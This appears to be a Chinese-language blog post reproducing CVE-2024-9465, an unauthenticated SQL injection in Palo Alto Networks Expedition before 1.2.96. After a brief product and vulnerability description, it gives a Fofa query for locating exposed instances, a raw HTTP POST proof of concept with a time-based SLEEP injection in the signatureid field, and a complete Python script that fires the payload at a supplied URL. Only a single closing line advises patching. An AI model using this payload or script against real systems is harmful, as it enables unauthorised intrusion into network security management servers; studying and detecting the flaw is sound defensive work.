Palo Alto Networks Expedition 未授权SQL注入漏洞复现(CVE-2024-9465)

0x01 产品介绍:

Palo Alto Networks Expedition 是一款强大的工具,帮助用户有效地迁移和优化网络安全策略,提升安全管理的效率和效果。它的自动化功能、策略分析和可视化报告使其在网络安全领域中成为一个重要的解决方案。

0x02 漏洞描述:

该漏洞由于CHECKPOINT.php文件存在未授权访问。在sql校验逻辑中存在action=import当解析控制参数时会创建变量routename和id并且以字符串格式构造查询。导致了漏洞的产生

0x03 影响版本:

Palo Alto Networks Expedition < 1.2.96

0x04 搜索语句:

Fofa:title="Expedition Project"

0x05 漏洞复现:

poc

复制代码
POST /bin/configurations/parsers/Checkpoint/CHECKPOINT.php HTTP/1.1
Host: your-ip
Content-Type: application/x-www-form-urlencoded

action=import&type=test&project=pandbRBAC&signatureid=1%20AND%20(SELECT%201234%20FROM%20(SELECT(SLEEP(5)))test)

检测脚本:

脚本作者:https://github.com/horizon3ai/CVE-2024-9465

复制代码
#!/usr/bin/python3
import argparse
import requests
import urllib3
import sys
import time
urllib3.disable_warnings()


def create_checkpoint_table(url: str):
    print(f'[*] Creating Checkpoint database table...')
    data = {'action': 'get',
            'type': 'existing_ruleBases',
            'project': 'pandbRBAC',
            }
    r = requests.post(f'{url}/bin/configurations/parsers/Checkpoint/CHECKPOINT.php', data=data, verify=False, timeout=30)
    if r.status_code == 200 and 'ruleBasesNames' in r.text:
        print(f'[*] Successfully created the database table')
        return

    print(f'[-] Unexpected response creating table: {r.status_code}:{r.text}')
    sys.exit(1)


def inject_checkpoint_query(url: str):
    start_time = time.time()
    print(f'[*] Injecting 10 second sleep payload into database query...')
    data = {'action': 'import',
            'type': 'test',
            'project': 'pandbRBAC',
            'signatureid': '1 AND (SELECT 1234 FROM (SELECT(SLEEP(10)))horizon3)',
            }
    r = requests.post(f'{url}/bin/configurations/parsers/Checkpoint/CHECKPOINT.php', data=data, verify=False, timeout=30)
    execution_time = time.time() - start_time
    if r.status_code == 200 and execution_time > 9 and execution_time < 15:
        print(f'[*] Successfully sent injection payload!')
        print(f'[+] Target is vulnerable, request took {execution_time} seconds')
        return

    print(f'[-] Unexpected response sending injection payload: {r.status_code}:{r.text}')
    sys.exit(1)


if __name__ == "__main__":
    parser = argparse.ArgumentParser()
    parser.add_argument('-u', '--url', help='The URL of the target', type=str, required=True)
    args = parser.parse_args()

    create_checkpoint_table(args.url)
    inject_checkpoint_query(args.url)

0x06 修复建议:

厂商已发布补丁 请即时升级

Expedition | Palo Alto Networks

相关推荐
网安小白的进阶之路3 小时前
A模块 系统与网络安全 第四门课 弹性交换网络-5
网络·安全·web安全
民乐团扒谱机7 小时前
实验室安全教育与管理平台学习记录(七)网络安全
学习·安全·web安全
萤丰信息10 小时前
智慧园区系统:开启园区管理与运营的新时代
java·大数据·人工智能·安全·智慧城市·智慧园区
普普通通的南瓜10 小时前
共筑网络安全,守护绿色家园
安全·web安全·php
belldeep10 小时前
网络安全:WebShell
安全·web安全·webshell
記億揺晃着的那天10 小时前
解密 HTTPS:从握手到安全通信
网络协议·安全·https·ssl证书
一起学安全技术10 小时前
C11期作业23(08.30)
安全·web安全
ml魔力信息11 小时前
一枚指纹,开启工业IoT设备安全与权限分级实践
java·物联网·安全
newxtc11 小时前
【湖北政务服务网-注册_登录安全分析报告】
人工智能·selenium·测试工具·安全·政务
Oxo Security11 小时前
【AI安全】提示词注入
人工智能·安全·网络安全·ai